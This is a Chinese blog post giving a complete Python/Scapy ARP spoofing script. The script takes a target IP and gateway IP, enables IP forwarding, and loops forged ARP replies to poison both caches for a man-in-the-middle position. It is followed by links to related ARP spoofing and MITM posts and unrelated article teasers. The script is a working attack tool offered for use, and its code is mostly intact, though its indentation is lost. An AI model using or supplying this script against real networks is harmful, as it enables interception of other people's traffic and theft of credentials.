使用python构造一个arp欺骗脚本

import os
import sys
from scapy.all import *
import optparse
def main():
usage="usage:[-i interface] [-t IP to attack] [-g Gateway IP]"
parser=optparse.OptionParser(usage)
parser.add_option('-i',dest='interface',help='select interface(input eth0 or wlan0 or more)')
parser.add_option('-t',dest='IP',help='You want to attack the IP')
parser.add_option('-g',dest='gatewayip',help='The IP of the gateway')
(options,args)=parser.parse_args()
if options.interface and options.IP and options.gatewayip:
interface=options.interface
IP=options.IP
gatewayip=options.gatewayip
spoof(interface,IP,gatewayip)
else:
parser.print_help()
sys.exit()
def spoof(interface,IP,gatewayip):
benjimac=get_if_hwaddr(interface)
mubiao=getmacbyip(IP)
wanguan=getmacbyip(gatewayip)
ptarget = Ether(src=benjimac, dst=mubiao) / ARP(hwsrc=benjimac, psrc=gatewayip, hwdst=mubiao, pdst=IP, op=2) #本地-》网关
pgateway=Ether(src=benjimac,dst=wanguan)/ARP(hwsrc=benjimac,psrc=IP,hwdst=wanguan,pdst=gatewayip,op=2) #本地-》目标机
print '[+]Open IP forwarding'
zhuanfa=os.system('echo 1 > /proc/sys/net/ipv4/ip_forward') #IP转发
try:
while 1:
sendp(ptarget, inter=2, iface=interface) #发包
print "send arp reponse to target(%s),gateway(%s) macaddress is %s" % (gatewayip, gatewayip, benjimac)
sendp(pgateway, inter=2, iface=interface) #发包
print "send arp reponse to gateway(%s),target(%s) macaddress is %s" % (IP, IP, benjimac)
except Exception as f:
print '[-]Error:',f
sys.exit()
if __name__ == '__main__':
main()

  测试图:

python arp欺骗的更多相关文章

  1. Python黑帽编程 3.1 ARP欺骗

    Python灰帽编程 3.1 ARP欺骗 ARP欺骗是一种在局域网中常用的攻击手段,目的是让局域网中指定的(或全部)的目标机器的数据包都通过攻击者主机进行转发,是实现中间人攻击的常用手段,从而实现数据 ...

  2. Python黑客编程ARP欺骗

    Python灰帽编程 3.1 ARP欺骗 ARP欺骗是一种在局域网中常用的攻击手段,目的是让局域网中指定的(或全部)的目标机器的数据包都通过攻击者主机进行转发,是实现中间人攻击的常用手段,从而实现数据 ...

  3. python scapy的用法之ARP主机扫描和ARP欺骗

    python scapy的用法之ARP主机扫描和ARP欺骗 目录: 1.scapy介绍 2.安装scapy 3.scapy常用 4.ARP主机扫描 5.ARP欺骗 一.scapy介绍 scapy是一个 ...

  4. 编写Python脚本进行ARP欺骗

    1.系统环境:Ubuntu 16.04 Python版本:2.7 2.攻击机器:Ubuntu(192.16.0.14) 目标机器:Windows 7(192.168.0.9) 网关:(192.168. ...

  5. 用python实现ARP欺骗

    首先介绍一个python第三方库--Scapy,这个库不是标准库,默认是没有的,需要安装,不过在kali-linux里边是默认安装的, 这里我用kali做攻击者,xp做受害者 关于Scapy Scap ...

  6. arp协议分析&python编程实现arp欺骗抓图片

    arp协议分析&python编程实现arp欺骗抓图片 序 学校tcp/ip协议分析课程老师布置的任务,要求分析一种网络协议并且研究安全问题并编程实现,于是我选择了研究arp协议,并且利用pyt ...

  7. 用python编写的定向arp欺骗工具

    刚学习了scapy模块的一些用法,非常强大,为了练手,利用此模块编写了一个arp欺骗工具,其核心是构造arp欺骗包.加了一个-a参数用于进行全网欺骗,先暂不实现.代码如下: #--*--coding= ...

  8. 关于ARP欺骗与MITM(中间人攻击)的一些笔记( 二 )

    一直没有折腾啥东西,直到最近kali Linux发布,才回想起应该更新博客了….. 再次说明,这些技术并不是本人原创的,而是以前记录在Evernote的旧内容(排版不是很好,请谅解),本文是继关于AR ...

  9. 中间人攻击之arp欺骗 科普ARP欺骗

    中间人攻击之arp欺骗 科普ARP欺骗 A <-> B A中有个ARP Table,每次发包都会在此Table中查找,若找不到,发APR Request包询问.此时若hacker冒充B的M ...

随机推荐

  1. CUDA初试

    1.基本概念 CUDA,全称是Compute Unified Device Architecture,意即统一计算架构,是NVIDIA推出的一种整合技术,开发者可以利用NVIDIA的GeForce 8 ...

  2. poj1469

    题解: 二分图匹配 然后判断最大匹配是否是m 代码: #include<cstdio> #include<cmath> #include<algorithm> #i ...

  3. LeetCode OJ:Pascal's Triangle(帕斯卡三角)

    Given numRows, generate the first numRows of Pascal's triangle. For example, given numRows = 5,Retur ...

  4. .net 学习路线感想(转)

    从上到大学到现在工作,已经有六年多了,发现学习编程到以开发为工作也是一个挺长的过程的. 大学中,从c语言到java.C#到其他各种语言的学习,还有其他知识的学习如:数据库(oracle.sql Ser ...

  5. jsp中解决乱码问题

    解决中文乱码 a) 第一种: String name=new String(name.getBytes("ISO-8859-1"),"UTF-8"); b) 第 ...

  6. 手把手教你怎么用ArcgisOnline发布地图服务

    Arcgis推出了Arcgis Online,但是大家都不知道这是个什么东西,怎么用这个东西,今天这篇文章手把手的教你如何使用Arcgisonline发布地图服务. 一.ArcgisOnline简介 ...

  7. Qt TabWidget QTabBar 宽高设置

    /*************************************************************************** * Qt TabWidget QTabBar ...

  8. python学习之模块&包的引用

    名词解释: 模块:一个程序文件 包:相当于一个类库,打包发布后相当于c#中的dll, 包中可包括若干个模块,比如main.py就是一个模块,对于test2文件下的所有模块组成一个包 对于一个包而言,注 ...

  9. shh整合后web.xml、spring配置文件和struts.xml的内容

    1:web.xml <?xml version="1.0" encoding="UTF-8"?> <web-app version=" ...

  10. Android中Activity的LauchMode(加载模式)

    1.standard模式:一个task有多个Activity,一个Activity可以被实例化多次,可以放在不同的task中. 2.singleTop模式:该Activity在栈顶,同时收到启动该Ac ...